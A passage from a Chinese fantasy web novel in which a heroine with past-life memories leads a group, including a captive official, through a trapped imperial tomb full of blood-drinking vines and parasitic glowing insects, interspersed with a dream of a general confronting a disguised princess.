好在肖平并没有多说什么,只是问道:“你们到底是什么人?潜入丑陵有什么目的?”
他问得淡然平静,既不惊慌,也不愤怒,就好像在问“现在什么时辰”一样,结果是完全没人回答他。
“多一事不如少一事,”徐生还在苦恼,“何必横生枝节?”
“谁让你们要牵涉无辜,”昭早早耐心耗尽,语气已不耐烦,“这个人我管定了,你们不放心大可以自己走,我们就此分道扬镳。”
周遭围观的人影越聚越多,祁道长压低声音劝说道:“那就带着吧,左右也没什么妨碍,如他所言,若事情闹大,祭酒大人自个也脱不了干系。”
他们尚且说着,闵宴的人已经到了。就是之前那个刀疤脸,他隐在人群中观望了半天动静,此刻才走上前来和徐生打招呼,带他们去汇合。
路上肖平什么也没再问,就安静地跟着人走,祁道长还调侃了一句‘祭酒大人果真识时务’,肖平也只是锯嘴葫芦似的不说话。
不过他的装束难免引人注意,一路上几波人鬼吼鬼叫地扑过来,各种伸冤的、求救的、发疯的,靠近前都被昭早早二话不说先一脚蹬飞,她现在可没心思分神管那些,有肖平这么个棘手的身份在这,她得打起十二分精神头。
鬼手徐生本就是祁家手下,见了少主一番望闻问切,确认其身体无虞后,便简明扼要地交待了眼下的情况。
当然,碍于队伍中有‘外人’,所有的称呼都是用的外号或隐语,不明就里的人听了也不会知道他们是何身份。
事不宜迟,出逃要紧,众人很快赶到水路通道前,刀疤脸和疑似一对兄弟的壮汉守在周围戒备,不许旁人靠近窥探。
祁道长在水道里一通折腾,他倒果真是厉害,昭早早束手无策的铰刀,他不多时便摸到窍门,能够暂时以小刀卡住链舱。
他挽着裤腿侧身往里走,脚踏实地的情况下要躲避石壁上的机关相对容易,祁道长带着阿琛从墙上硬撬下来的长明灯,小心翼翼地走向深处,光影渐暗,外面的人再看不清,只能静候等待。
不知过去几个时辰,干等总是令人困倦,昭早早把肖平带到尽量避人的角落,暗自从背后递给他一把匕首。
“坐。”她也不想多说什么,她了解肖平,一向是沉着冷静,谋定而后动,不会现在给他一把武器,他就反手捅了自己。
果不其然肖平就只是些微露出一些不解的眼神,默默接了,静静坐下。昭早早靠坐他旁边,睁目养神。
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是的,睁着眼睛神游天外,算是慕容青特有的休息方式,昭早早自能继承,她有些累了,得稍微休息一会,才有精力对付后面未知的状况。
半梦半醒的朦胧中,又有些令人留恋的画面隐约将她笼罩,所剩不多的清明让她意识到,每一次看见肖平、靠近肖平,慕容青的记忆都会更加丰满,前世渐渐复苏,而她甘之如饴,因为太想要再见到那双眼睛……
属于宁平公主的眼睛。
慕容青醒过来,黑衣人那双眼睛还印在他脑海中。朝夕相对数月,他绝不可能认错。慕容青一把挥开身边喂药的医官,拢了衣衫就要走。
侍从在后面慌乱地追着,他随手拽了一个问:“公主在哪?!”
“在、在别院,您还不能走动,将军、少将军!”
一帮人大呼小叫地跟着他,慕容青头也不回地喝道:“不必跟来!”
他抬腿飞身便越过廊庭,自己的身体自己知道,缓过那一阵,不算什么大事,他现在就要去找人问清楚。
慕容青不容分说闯入后院,两名女侍一左一右把守在公主房门边,当即伸手拦住他,“驸马,公主已经歇下了。”
“我与公主有要事相商,”慕容青面色不善道,“让开。”
纵然他气势骇人,云枝和云桠却不为所动,置若罔闻把住门口。
慕容青冷笑,这般此地无银三百两的姿态,九分的怀疑也坐实成十分,正欲发作,门内传出公主平静无波的声音:“无妨,你们退下。”
慕容青入得门内,倒也不急了,贴心地锁好门栓,踱步到榻上的公主面前,笑盈盈道:“少侠,方才捏疼你了吧,不若我给你推拿一番?”
公主面纱上一双眼鸦羽轻阖,漠然道:“你在说什么。”
“别装了。”慕容青恨声道,他莫名不想说自己认得她的眼睛,好像多把她放在心上似的——虽然这是事实,但现在不是讲这些的时候。
他一把掀开公主掩腿的薄被,怒道:“你给我起来!”
公主仰面定定看着他不动,慕容青竟看出她眼神中流露一丝委屈。
“怎么?怪我恩将仇报,你好心来救我,我却来逮你是吗?”慕容青说着去捉她的手。
“早在船上玩骰子,我就摸到你手心、指腹、虎口都有薄茧,要么你是个木匠,要么你习武。”
“可笑我还当你是练些暗器防身,没想到公主真人不露相。”
公主任他扣住自己手腕,并未挣扎。慕容青怒火减了三分,从面纱下托起她下巴,抬高她的脸逼她对视道:
“你口口声声要做我的人,却骗了我两个月。我让你回营,你却暗自跟踪。你到底有什么目的,最好从实招来。”
他另一只手抚到公主膝上,嘴里温言软语,眼神却冰冷。
“公主,你还要坐到什么时候?你这双腿轻功那么好,我都追不上,如果真废了,会很可惜吧?”
如果这人再不坦白,他可是要使些手段了。
届时这双眼睛蓄满泪水的模样,想必也是好看得紧。
慕容青无意识地舔了舔嘴唇,危险的神情投射到公主裁云翦水的双瞳里,两个人都是一滞。
慕容青火燎一般松开手,羞恼又气愤,情绪一团乱麻。
公主默默站起身来,等同于承认了自己的伪装。她径直走到桌案边坐下,平淡道:“宫中权宜之计,不为骗你。”
慕容青跟过来与她同坐,这话他是信的,据宫中起居注记载,这位公主自幼丧母,又不良于行,先帝允她去云天观的坤道院修行,个中龃龉,无非是宫讳斗争。
她避入清修之地,有些奇遇师从高人也不难理解,但如此处心积虑跟着他上山是为何?那一身夜行服,可见早有准备,跟踪他或许不止一两次。
又或许更早之前,甚至乃至于这场赐婚本身,都有公主自己的谋算在里面。
慕容青尽量冷静下来思考,为两人各斟了一杯茶,“你继续说。”
公主显得很为难。慕容青知她素来话少,耐心道:“你好好想想,想清楚再说。若被我发现再有隐瞒,便是自讨苦吃了。”
可公主闻言却低下头,看那样子根本不打算再开口。
慕容青手指在桌上‘咚咚咚’轻叩三下,终是气性难忍,粗暴地一把扯掉她面纱,掐住她两颊道,“给我说!”
四目相对,一个冷若冰霜,一个怒火中烧,眼看着情潮暗涌,昭早早深吸一口气,从梦中惊醒。
13. 内宫
地宫里没发生什么事,刀疤脸他们跟阿琛、徐生等人换班,路过时靠近打量了他们几眼。
昭早早警觉地惊醒,没好气地瞪回去,只差大骂一声看什么看,耽误她做梦。
阿琛似笑非笑看她,那眼神非常奇怪,说不清道不明的意味,甚至让她莫名其妙有一丝熟悉。
难道自己说梦话了?问阿琛却是不答,只说自己也困了。
昭早早余光偷瞄向肖平,只见他仍如一尊玉雕般岿然不动,暗叹他真是一如既往的好定力。
也不知这梦还能不能续上,昭早早收回目光,再次试着放空自己。
依稀她感觉到,似乎模糊了一些绮丽的片段……
面皮飞红的慕容青一口茶抿得索然无味,不知道在喝些什么东西,茫茫然心说回头得让人送些上好的茶叶来后院。
转念一想,这人还什么都没说呢,喝个什么好茶叶!越发不忿。抬眼看垂眸敛意的她,双颊微赧,也是不太自在的模样。
慕容青不敢再看,眼观鼻鼻观心,心中痛骂自己狗胆包天猪油蒙心,把自己什么身份都忘了,兀自发癫个什么劲?
疯子似的,明明靠近她时想的是逼问,却越看越不对劲,搞得还缠绵对视起来……莫不是被通天藤把脑子夹坏了?!
他‘砰’一声把茶杯重重搁下,纯粹是恼恨自己,不过公主却误会了他的意思,用力闭了闭眼,沉声坦白道:
“他派我来监视你的行动,你不是从一开始就知道吗。”
她道:“我不会害你,但我也得‘交差’。”
这另类的“逼问”倒还真的起了效果,慕容青一时也不知该作何感想。
“所以你跟踪我是在帮他查事。”慕容青自嘲道,“我还以为你是担心我的安危呢。”
公主松开紧抿的唇,欲言又止半天,终是没有说话。慕容青又问:“他想知道什么?”
公主答:“关于通天藤的秘密。”
“慕容家早就告诉过他了。”
“你们说的,他不会信。他只相信他的人查到的。”
“我军中哪那么干净,难道没有他的人吗?就没有谁向他汇报见闻?”
“有的。但是没人能看到你进入坝身后做了些什么,你是如何洞开闸口的。”
“你也想知道?”慕容青挑眉,“如果我说慕容家早就将真相告诉过他了,没有一句谎言,你信吗?”
公主点头,“但他要我亲自验证。”
“你不能去。”慕容青浅笑着摇头,“除非陛下御驾亲临,他想去我一定带上。”
话说到这份上,他也懒得恭恭敬敬地打哑谜了,索性敞开天窗说亮话。
“别蹚这浑水,就说你什么也没查到。不行的话我送你跑路,诈死来个金蝉脱壳,远走高飞便是。”
想到这里,慕容青莫名有些开心,咧嘴一笑露出两颗尖利的虎牙,“少侠武功这么好,何不闯荡江湖去?”
公主第一次露出有些向往的表情,像林间亲人的鹿,也像刚出生不久的小马驹,漆黑而纯粹的眼眸中闪烁着天真的光亮,你知它欢喜,便觉喜欢。
慕容青倏忽看出了神,连暗骂自己的余裕都没有。
“你仔细考虑考虑我先走了你好好休息。”他烫嘴似的说完,起身落荒而逃。
背后却是追来一句“等等”,慕容青眉头一跳,躲得更快,竟有些头晕目眩,险些被门框绊个趔趄。
公主抢步上前扶住他,用一种不容拒绝的神情制止他的抗拒,道:“你照照镜子。”
什么意思,骂他丑?慕容青脸又白了,人不能够、至少不应该记仇记这么久。那现在承认眼瞎这事能翻篇吗?
公主一顿,补充道:“你脸色很不好。不要再动了,先躺下。”说完半拖半抱着把人往榻上带,“我去叫人拿药。”
脸上这热血一会来一会去的红白交迭确实不太好受,慕容青头重脚轻,哪也不敢乱看,干脆阖上眼装晕。
公主见状更为紧张,连忙打横将人抱上榻,动作轻柔,可比新婚之夜的他强多了。
这么一想,慕容青又臊得脸红。
他胡思乱想等过几天不如找公主比试比试,探探对方手下功夫到底如何。
不为别的,他就是单纯的想要知道她。
所有的重任、战况、阴谋在此刻都变得遥远而缥缈,不再有千钧重担压得他喘不过气来,却是真的在公主榻上昏昏睡去。
迷蒙中他听到公主在吩咐侍女——“云桠,帮我传信大师兄要一些血源丹,快。”
按说公主在坤道院修行,怎么还有大师兄?不该是大师姐么?伴着这个疑问,昭早早被阿琛叫醒。
“你在笑什么?”阿琛离她很近,玩味地问。
“啊?”昭早早回过神道,“我笑了吗?”
“你笑得很渗人。”阿琛先点头后摇头,啧啧道:“像我们村子里白日发梦的巫师。”
“你们村还有巫师?”昭早早心情好,倒也不跟他见怪,“我还以为民间都只信奉云天教了。”
“那都是骗人的。”阿琛老神在在,“没有人可以修道成仙,神灵只存在于自然。”
“可以同意你半句。”昭早早点头,“仙灵我都不信。”
他们闲聊的空档,水道里有了新动静。
祁道长全须全尾地返回,虽说各处都有点小伤扣形容狼狈,但能活着已足够振奋人心,所有人都在静候他说出好消息,而祁道长瘫坐在地上歇了好一会,却是摇头:“走不通。”
“怎么回事?”闵宴拧眉。
“顶头是一道石墙,沿边有缝隙,叩之回响空旷,背后理应有路。”祁道长抬起胳膊,任徐生帮他处理伤口,“但我找不到开启石墙的方法。”
徐生问他:“你遇到其他人了吗?”
祁道长顿了顿,道:“只有残骸。”
他身上血污一片,但大多并非他自己的血,在哪蹭的,可以想见。众人尽皆沉默,闵宴目若鹰隼盯向肖平:“我们还有一种办法可以出去。挟持这个人,用他的命开一条路。”
所有人的视线都转移过去。
此番场景昭早早可谓是早有准备,波澜不惊道:“你想得美。且不说地宫门何时再开,就算侥幸能上去,外面守着一座营的军士,怎么逃?”
她冷眼审视闵宴,这少年年纪小心却狠辣,原以为定是冤罪无疑,现在倒也不那么确定了。可别从一开始,就是一个圈套。
肖平作为被人觊觎的对象,面无表情道:“军令如山,镇陵军绝不会为了我一个人放你们走。”
对,就这么义正言辞,一点先把人稳住的意思都没有,昭早早撇嘴,没有她守着可怎么行。
不过若是没有她,肖平也不一定会被牵扯进来,说穿了还是她的责任,自然得一根头发都不少地护着。
“不试试看怎么知道?”闵宴阴恻恻道,“反正我们现在别无选择。倒是赵先生很奇怪,为什么和官家的人站在一边?你不是我们请来的人吗?吃里扒外?”
“我吃什么了?除了你姐给下的毒,我什么也没吃着。”
提起这茬昭早早就有气,想找邬志合却失之交臂,阴差阳错还害了肖平,这趟真是亏大发。
“要不是看她苦苦哀求,哭得梨花带雨,我才懒得管你死活。”
剑拔弩张之际,祁道长站起来做了一个“打住”的手势,“吵什么?石墙我是打不开,但没说没有线索。”
他从怀中拿出一块古怪的小铜碟,巴掌大小,碟子的外圈刻着类似星宿图谱的花纹,中心则嵌着一枚晶莹剔透的琥珀珠,珠内有一个六边形的凹口。
“这东西嵌在墙上,可以旋转,我试过按星宿阵法来开,也试过随意扭转,它和石墙都没有任何变化。”
祁道长比划着解释,“所以我想死马当做活马医,干脆就把它撬下来试试。这凹口里原本插着的铜杵还在墙上,卸不下来。”
众人都围拢过去,无人勘破玄机,祁道长点名道姓指向昭早早,“赵先生可有头绪?”
刚才还骂人吃里扒外的闵宴这会倒闭嘴不说话了,也直勾勾看向她,昭早早讪笑一声,还
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真是够势利。
眼下大事要紧,她也懒得计较,把铜碟接了过去仔细端详——“这像是一种转铃。”
祁道长讶异道,“转铃怎么会装在地宫里?”
徐生不解:“什么是转铃?”
“就是一种连接外墙和暗室的传声机关。”昭早早说明道,“有些高人就喜欢修建暗室,在里面闭关修行,性情更乖戾的,会建造只能从内部开启的石门,彻底闭门不出。”
“若外人真有急事找他,就只能转动这种装置在外间的轮盘,内间自有铃铛会响,开不开门就看主人心意了。”
“所以就是说从外面根本开不了门?”阿琛只关心重点,“那我们怎么出去?”
无人可以回答他。昭早早心道这下走水路出去的线索还是断了,那张地图到底是怎么回事?这条通道的意义又在哪里?
石门后按说是第三层皇陵地宫所在,怎么可能还有活物能来开门,如果是一条有去无回的死路,工匠何必大费周章地修建?
看来,她必须要做好其他准备了。
“现在怎么办?”问话的是一直存在感很低的两兄弟,连他们都慌了神,“再出不去的话,等雨季一到需要关闸蓄水,我们都会成为通天藤的养料。”
“没那么快的,”昭早早随口宽慰,“离雨季少说还有一个月。”
徐生却说,“通天坝愈合还需要时间,一般在雨季之前镇陵军就会提前打开内宫,‘输送养料’,我们的时间确实不多了。”
“不。”昭早早笃定道,“库恒坝天然就没多少缝隙,也就是说它的固定闸口相对较小,所以活口一向不能关闭得太早,否则下游水流会不够。”
“你怎么这么清楚?”徐生狐疑地问。
“那当然是……”昭早早正待编个借口,地宫深处传来一阵晃动。这晃动持续不停、愈来愈大,隐隐有隆隆的声响传来,远处尖叫声此起彼伏。
石壁导致的回声扭曲了各种音节,传到他们这里已然变调,但依稀还是能听清——“内门开了!”“我们要死了!”“救命!!!”
不会这么邪门吧?昭早早诧异到目瞪口呆,打脸来得这么快,命犯太岁?!她一把拉上肖平的手腕就跑,“跟我去看看!”
后面其他人如何慌乱她也顾不上,如果真是内宫开了,保命才是第一要紧!
时间紧迫,地宫地形七拐八绕,昭早早索性不去辨认,逆着逃难的人群抓紧肖平凭直觉一路狂奔,还好对方没有趁机甩开她。
而她也没有走错,离内门越来越近,远远就能看见漆黑的洞口,还好,通天藤还没有发作,昭早早半步未停,在距离门最近的一个弯道反身上墙,腾空而起,陡然从天顶正中处踢下来一方石匣!
那石匣本是顶砖中的一块,任谁也瞧不出来与其他石块有什么区别。
昭早早整套动作一气呵成,丝毫没有停顿,石匣与她同时落到地上,发出轰然巨响。
她脑中其实并未想起怎么打开,但手指摁上去的瞬间便自行动了,石匣登时一分为二,露出五条深蓝缎带,昭早早抚掌一扫而光,先取出一条想系在肖平腰上。
肖平反扣住她探向他腰间的手腕,不让她乱动:“你怎么知道这里有机关藏有东西?你到底是什么人?”
“故人。”昭早早笑了笑,也没法多作解释,石匣是慕容家自行增设的备用机关,就算是营造地宫的将作大将也不会知晓,更不会留下任何记录。
他不让她系,她就把缎带交到他手上,示意他自己来,“千万别弄掉了,这可是保命的东西。”
“你别多问,我会送你平安出去的。”昭早早郑重道,“我这次说到做到,相信我。”
肖平凝眉,满是疑惑不解地看她,终归把缎带系在腰间,没再多说什么。
他俩离洞开的内层地宫最近,也就是通天藤根系所在,当即都闻到一股奇异的香味。
之所以说奇异,因为找不到任何一种相似的味道来形容,你可以认为是任一种香味,它都像,但也都不像。昭早早心下一凛,知杀机已至。
14. 幻香
片刻前蜂拥逃离的人群陆续有人转回,脚步虚浮,神情是一样的飘飘欲仙,随着香味越来越浓烈,回头的人越来越多,有的人嘟囔着:“好香!好香!是熏肉……”
有的人说的是,“美人儿,爷来了……”
还有人高声嚎叫,“我的金子!我的金子!”
他们无一例外急匆匆向内门赶去,蔓蔓的枝条从石门边上探出来,乍看像是白玉藤、络石一类常见的植株,仔细看却又不尽相同。
它们摇摆晃动着,在无风的地宫里迎风招展,顶尖上的小白花随风而动,香味却不是从那处散出来的。
因为它们似花实为爪,每有一个行尸走肉的人路过,便迫不及待缠绕上去,五片小白肉瓣像蠕虫放大的口器一样,贴上人的皮肉吸吮,吮得肉瓣由浅粉转向朱红,紧紧黏着那些人向更深处的坡道走去。
新的白花蔓藤会从后面接上,顶替前一根的位置,继续等着下一个人靠近。
身怀缎带的昭早早和肖平全然不受影响,就守在洞口前等待。
她等了约莫一个时辰,地宫里数百号人都进去得七七八八,依然没有看到闵家那群人。
难道他们从水道走了?内宫洞开外面的机关柱会有所反应,此时镇陵军绝不可能打开外门,他们要逃生只能走那条路,或者被通天藤引到这来。
“再等一炷香,他们没来我就带你先走。”昭早早对肖平说,看他话少总是沉默,担心他受了伤却不言语,便又问道:
“你还好吗?有没有哪里不舒服?”
“我没事。”肖平答,“你想带我从哪走?”
“从……”昭早早正欲回答,余光看到人群中第一个出现的是阿琛,便先三两步上前把人抓住带到一边,取出一条缎带将两人的手腕迅速捆到一起。
这当口阿琛、闵宴、祁道长等人也陆续出现,还有刀疤脸和那两兄弟,昭早早眼见顾不过来,忙喊肖平帮忙。
他们总共七个人,加上昭早早是第八个,正好两两一对共享四条缎带,肖平就让他单独行动,也更安全。
众人缓过一阵清醒过来,对彼此绑缚在一起的手腕很是诧异,“怎么回事?!”“为什么把我们系在一起?”
“不想死就别解。”昭早早抬起和阿琛之前的缎带,向其余人说明,“这条带子上有特殊的药粉,可以让我们暂时不受通天藤幻香的迷惑。”
“现在都警醒一点,跟我下去,我们走内宫离开这里。”
“你这药粉是哪来的?既然早有准备,为何先前不说?”
“你方才还言之凿凿说不会提前开内宫,结果呢?谁还敢再信你。”
一群人七嘴八舌反应激烈,“内宫是通天藤吃人的地方,进去必死无疑,怎么可能走得出去?”
“还记得那张地图吗?”昭早早问的是祁道长和徐生,他们都从闵栀那见过地宫地图,尤其徐生还画过,肯定最清楚,“内宫的尽头和水道的尽头是相通的。”
“的确。”祁道长颔首,但是一般人根本不会想到去走内宫,因为突破不了通天藤。
徐生将信将疑道,“仅凭这条带子真的可以防范通天藤吗?”
“不然呢,你们现在不好端端在这吗?”昭早早反问,又催促道:“但是动作得快点,通天藤吸血越多越活跃,现在“活食”刚下去不久,它们还在享用,等吃到差不多的时候,便会躁动。”
“你到底是什么人?”闵宴尖锐地问,刀疤脸和他站在一起,“你对这里太了解,身上的秘密也太多,除非你交代清楚,否则我一个字也不会信。”
昭早早顿觉好笑,也确实笑出声来:“小鬼,不该你问的就不要多话。你爱信不信,要是你们有别的办法出去,就自己走吧,我恕不奉陪了。”
“大家都是一条船上的人,千万别伤了和气。”徐生忙打圆场道,“赵先生既已救了我们一命,断没有再加害之理,我们跟着走便是。”
闵宴却偏又不忿地指向肖平,“那他为什么可以一个人一条缎带?”
“因为他长得好看,我喜欢。”昭早早随口胡诌,转身就走,毕竟多耽误一刻就多一分危险。
她左手腕子还系着阿琛,也不方便再去拉肖平,只眼神示意他与自己并肩同行。
肖平没什么特殊反应,反倒是阿琛行动十分不自然,别别扭扭地跟着她,周围没人说话,一时静得可怕。
这伙人不会当真了吧?昭早早简直无语,跟没有幽默感的人同行就是难捱。
与他们从御台下到外地宫时有个大坡道一样,内地宫的门后也是一大片相对更平缓一些的坡道,可以直立着走下去、
覆满墙面的枝条不会主动攀附他们,地面上蜿蜒的根须还会避让开来,仿佛他们身上有什么让它们惧怕的东西,应该就是那些缎带起了作用。
内地宫没有光线,所以他们是撬了外地宫的长明灯,人手一盏地举在手上,沿着通道向下探索。
内地宫的地形像一把斜插入地下、奇长无比的梳子,他们走在柄的一端,路过无数细长向里延伸的隔断通道。
通道内还有人在恍惚走动,亦有或坐、或躺、或呻吟、或不动的,而遍布四周的是无穷无尽的通天藤根系,延伸向看不见尽头的远端。
“这些隔断是塑形用的,通天藤的种子在这里分开催发,这样它们穿出外层石壁的时候才能齐平,经受水流冲刷也会聚拢在一起,一层一层纠缠,最终堵死缝隙。”
昭早早这话是小声说给肖平听的,因为她一半的注意力始终留在肖平身上,看到他眼中似有疑问,便主动解释起来:
“幻香是通天藤猎食的手段之一,这些人吸入之后,渴望什么,便会觉得闻到了什么,身体会不由自主地靠近,察觉不到危险,也感受不到痛苦。所以一旦被通天藤捕获,就再难从美梦中苏醒。”
阿琛就在她左手边,不可能听不到,“你们中原的死刑可真是仁慈。不过这里面怎么没有骸骨?”
“吃了呗,先吸血又不是不吃肉,这里有养分的东西都会被吸收殆尽。”
昭早早努嘴给他指向一个角落,“看,那还有一大团头发,多半是上一波剩下的,通天藤最不喜欢吃这个。”
阿琛瞟过一眼恶心得不想细看,“你怎么这么清楚这些?”
“书上看
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的。”昭早早随口胡诌,觉得也是不能再说太多,以免露馅,除非肖平主动来问。
肖平显然并没有这个打算,他举着灯和他们并排打头走着。
这通道的宽度也就将将好过三个人,后面是祁道长和徐生跟着他们,离得不远不近,也是怕万一遇上危险好有足够的距离反应。
“我们还要走多久?”后面的人问。
“快了。”昭早早驻足看向旁边垂直的通道里忽然有人挣扎呼救,蛇一样的根须陡然扼紧了那人的喉咙。她迅速改词大声喊道:“快跑!”
“你不是说他们很难醒的吗?”阿琛被她陡然的加速拽得一个趔趄,肖平则不受影响,后面的人见状都立刻跑动起来跟上他们。
“快死的时候偶尔有人会醒。”
昭早早边跑边说,对生存的渴望总是最强烈的,可以让少部分人爆发出残存的力量,挣脱幻境的桎梏,“通天藤吸足了血会很兴奋,我们得尽快离开这里,小心四周!”
她话音刚落,前方一根匍匐在地的枝条倏地挥动起来卷向肖平的脚,几乎是在那东西动起来的同时她已然脱手甩出一柄飞刀,半刻不曾犹豫和停顿,右手拉起肖平,足下发力,当下跑出最快的速度。
不过肖平并没有她以为的弱,跟上她的速度并不费劲,于是昭早早松开他的手,专注借力给左边的阿琛——这家伙就有点费劲了,肌肉虽然漂亮,灵巧和速度却是不足。
前方坡度越来越大,豁然出现四条岔路,昭早早稍一思索便带他们跑入左起第三条,行至半途却又出现四条岔路。
“我们到地基了,”她放声大喊让后面的人都能听见,“从这里开始越往下坝体越粗,会出现特别多的岔路,千万跟紧别走散了!”
如此这般又选择三次之后,最后一条岔路情况竟是不对,昭早早拿不准,便停下来等后面的祁道长和徐生跟上。
徐生跑得上气不接下气,骤然要停,急刹不住,连带着祁道长一同往前扑倒。
昭早早察觉异状,回身下腰,在他俩倒地前托住他们捆在一起的手腕,送力向上,三人一反两正同时起身,昭早早问:“记不记得这里走几?”
祁道长和徐生喘着气对视一眼,异口同声道:“右一。”
他们都是背过图的人,昭早早当然也熟悉得很,但是此时右二却有明显的光亮传来,所有人都看到了。
接在祁道长和徐生后面的两兄弟一看到洞中的天光便向那出冲,还对最后一行的闵宴和刀疤脸喊道:“少主,快看,是出口!”
闵宴闻言也是快步上前,激动得很,徐生忙阻拦说:“不对少主,邬志合给我们的图上不是那条路。”
“眼见为实。”闵宴想了想,对那两兄弟吩咐道:“你们过去看看那光亮是不是通道,有情况立刻回禀。”
两人当即领命。昭早早直觉不对,就算出口真在此处,这个深度也不应该有光亮传进来才对,但她一时半刻又无法在慕容青零碎的记忆中找到线索,只能伫在原地,静观其变。
约莫一盏茶的时间过去,探路的两人尚未有回音,刀疤脸却忽然问:“你们有没有听到歌声?”
15. 第三层
当下另五个人都凝神去听,却什么也没听到。刀疤脸一个人沉浸在歌声中,甚至摇头晃脑起来,闵宴皱眉问他:“哪有什么歌?”
刀疤脸却不回他,只闭上眼一昧地轻轻摇晃身体,好像在随着某种旋律打摆子。他的手垂下来,长明灯砸落到地上,厚实的凝胶状灯油扑灭了灯芯。一直闷不吭声地肖平突然说:“遮光,看他右耳后面。”
他率先一手放低灯盏一手五指并拢遮光,其余人立刻效仿,洞口处光亮一下子减弱了——衬得刀疤脸耳后的那一点荧光分外明显。
闵宴当机立断解开二人手腕相连的缎带,大步退远,刀疤脸对这一切无知无觉,兀自紧闭双眼摇晃,没两下便横倒在地。
他甫一倒下,周遭的通天藤根系便立刻缠绕过去,肖平快步上前,将自己的锻带解开,分一半系在他手腕。昭早早就跟在他后面,狠狠剜了一眼闵宴,也蹲下身摸出一把短刀去看。
阿琛颇有默契地接过她的灯帮她照明,昭早早一手持刀,一手小心翼翼地拉开刀疤脸耳朵,只见一只萤火虫样的小飞虫扎在他耳后,外露的翅膀仍在扇动,尾部亮着荧光。
她不敢擅动,便叫徐生来看。
徐生早有准备,他发髻里藏了银针,此刻在火上烤热了,便去挑刺那亮虫。一击即中,他挑起虫来,那虫子的口器中竟连着一根丝,拉出来有一尺多长,在火光下晃荡如一根闪闪发亮的银线。
“这是……?”徐生说着举灯去照那根丝线想细看,线却骤然碎裂成无数微小的光点散落,像一抹亮晶晶的飞灰,他一下子连虫带针甩远,“退开!这是虫卵!”
众人四散,昭早早当即一把扯开肖平的缎带把人强行拉到一旁,刀疤脸体内显是已种入了不少虫卵,他的下颌、鼻尖都有点点星光在游走,且光点还在越变越大,整幅面庞都竟似诡异地发起微光。
昭早早忽觉熟悉,脑子里一些埋藏的信息呼之欲出,徐生先她一步喊了出来:
“这是黯芒毒萤!没想到这种传说中的虫子真的存在,它们只在黑暗的环境中活动,靠光亮吸引猎物,人一旦被它们寄生,便会成为孵化幼虫的温床,药石罔效。”
“那洞里的光亮难道都是……”祁道长欲言又止,这下不难猜到他们先前看到的光怎么回事了,那探路的两兄弟只怕已凶多吉少,再等下去也不会有结果。
“赶紧走,”闵宴指向那处洞口,焦急地催促道:“那边的光影在动!”他话虽急切,自己却不先行,显然是要等其他人先打头阵。
“确实不能再耽搁了,”徐生无奈同意,“这一只落单实属意外,如果虫群来了我们一个都走不了。”
昭早早暗叹,如果她前世的记忆能够再完整一些就好了,但眼下也别无他法,一行人快步向原本该走的通道撤离。
他们这次一口气跑到甬道的尽头,未作任何停留,直至一堵严丝合缝的石门挡住去路。这便该是地图上有所标注的、第三层皇陵地宫的入口了。
石门正中两个青铜浇铸的龙头铺首自门环处暴凸而出,龙目深处嵌着极品血玉髓,于暗处兀自泛起幽幽红芒,仿佛真的蕴藏着神龙威压。
“我们到了。”
昭早早拽住门环伸手去推,门后立刻传来绞盘转动的闷响——所有人不及反应,脚下随之一空!
刹那间全凭本能,昭早早单手死死扣紧门环,即便是两个人的重量拽得她猛地一坠也并未脱手,然而下一刻她意识到肖平已然掉了下去,当即毫不迟疑松开手指,也一并向更深处的地下坠落。
还好下层的地洞并不深,肖平手中灯火未灭,其余人都借着这点晃荡的光影稳住身形,观察四周,再捡回自己的灯盏找阿琛借火。
昭早早是第一个冲上去的,倒不为火种,而是上下左右仔细地将人扫视了一遍,尤不放心,确认道:“你没受伤吧?”
肖平摇头,回望她的眼神满是疑惑,阿琛在一旁都翻起了白眼,可能她的表现确实太怪异了些。昭早早掩饰尴尬地清了清嗓子,无所谓,毕竟锯嘴葫芦就是这点好,轻易不会问七问八。
另三人也都横七竖八落在一旁,祁道长和徐生掉下来时手腕的缎带挣开了,但此处并没有通天藤根系的踪影,看起来还算安全。阿琛见状,也干脆解开缎带,上前查看少主闵宴的状况。
昭早早举着自己的长明灯打量起环绕周身的八扇石门,这些石门方位上类似五行八卦,造型则看起来跟方才在上层遇见的一模一样,每扇门壁都浇筑了相同的龙头铺首,龙眼镶嵌着同品血玉髓,恐怕一旦拉错,也会如上遭遇灭顶之灾。
“你们记不记得,闵栀得到的那张地图上,这个地方的线墨特别粗。”昭早早出声对祁道长和徐生说道,“我原来以为是雕版刻录的问题。”
祁道长立刻回道我也是,徐生则斩钉截铁道,“原图这个地方就是那般很厚的一笔,我依样复刻,未曾更改。想来就是提示这里有夹层。”
“应该是。”昭早早点头认同,“那就说明方向不变。正确的通路依然还是在那扇门的方位之后。”
祁道长一下便想通了,琢磨道:“但现在天顶已经合上,我们掉下来都摔得七荤八素的,怎么辨识方位?”
徐生将目光转向闵宴,“少主可记得刚才那扇门在哪个方位?我们若能找到相同的,便有望出去。”
差点忘了这里正有个司南,昭早早心道这小子总算也能派上点用场。闵宴若有所思地阖上眼帘,不疾不徐地原地旋了数圈,指向其中一扇石门笃定道:“那里。”
若他所指不错,那背后便该是丑陵最核心之处——第三层的太宗皇帝陵寝。原本他们要走的水道通路便是穿过此处,如此这般绕了一大圈,也算殊途同归。
“要不要换个人开?”昭早早自觉手气不太好,但她的提议并无人响应,只得硬着头皮继续上,握住那同样的门环就是毅然决然地一推——
随着铰链声响,石门豁然洞开,并未触发任何要命的机关,一条崭新的通路亮在他们眼前——是真的亮,墓道中装有迎风自燃的琉璃灯,随着石门的开启跃起莹莹火光。
不愧是帝王陵寝,白壁描金,银珠作画,墓壁沿途依次是四象瑞兽镇压守护的图案,栩栩如生,鲜艳夺目。
一行人跟着昭早早谨慎前行,谁都不是二愣子,自然什么也没乱碰,但他们身后的石门还是传来了自动关闭的声响。昭早早回看一眼,并不甚在意,所谓开弓没有回头箭,要想出去本就只能一路向前。
行过一段后,壁画逐渐出现变化,不再是辟邪瑞兽,而是一些奇怪的敬拜图腾,描绘着类似献祭和供养的场景。
昭早早无心留意这个,肖平却难得地慢下步子,她只好也停下来专注地看了一会:
“这好像画的是通天藤在滋养帝王棺椁。这些带着肉爪花瓣的明显是通天藤根系,它们盘踞到这上面,下面的管子好像在往这个四方盒子里一节节输送着什么。”
盒子上雕着五爪金龙确是御用无疑,只是这送的是什么东西昭早早左看右瞧亦没有头绪,总不能是输血吧?
其他人对这些无甚兴趣,尤其是徐生,已经绕过她走在了前头,并惊喜地发现了两边藏宝的耳室,兴奋地大喊道:“快看,这里有好多财宝!”
昭早早全然不能免俗地立即跟上,倒也不是她没见过世面,只是俗话说得好,贼不走空,来都来了,不能白来一趟。
